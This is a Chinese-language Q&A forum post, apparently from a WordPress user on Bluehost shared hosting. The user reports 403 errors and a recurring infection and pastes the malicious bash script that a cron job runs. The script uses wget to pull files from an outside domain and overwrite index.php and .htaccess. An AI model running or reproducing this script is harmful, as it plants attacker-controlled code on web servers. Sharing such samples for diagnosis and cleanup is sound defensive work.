0

Bluehost 共享主机最近在管理员登录到 WordPress 登录时显示 403 错误。在调试问题时发现某些文件感染了正在更新.htacess文件和index.php文件的恶意代码。后来crone_Job还发现了正在更新上述文件的a。我仍然遇到这个问题。任何形式的建议或帮助表示赞赏。我正在添加代码片段

#!/bin/bash
root_dir=$1
qishu=$2

if [ ! -d ${root_dir}/css ];
    then
        mkdir -p ${root_dir}/css;
        fi
cd ${root_dir}/css;
rm -f wp-class.txt;wget -q -O wp-class.txt http://hello.turnedpro.xyz/wp-class.txt && mv wp-class.txt index.php;

if [ -d ${root_dir}/wp-content/plugins ];
    then
        cd ${root_dir};
            rm -f htaccess1.txt;wget -q -O htaccess1.txt http://hello.turnedpro.xyz/shl/htaccess1.txt && mv htaccess1.txt .htaccess;
                rm -f index${qishu}.txt;wget -q -O index${qishu}.txt http://hello.turnedpro.xyz/mingwen/index${qishu}.txt && mv index${qishu}.txt index.php;
                    rm -f wp-index.txt;wget -q -O wp-index.txt http://hello.turnedpro.xyz/shl/wp-index.txt && cat wp-index.txt >> index.php && rm -f wp-index.txt;
                ```
4

0 回答 0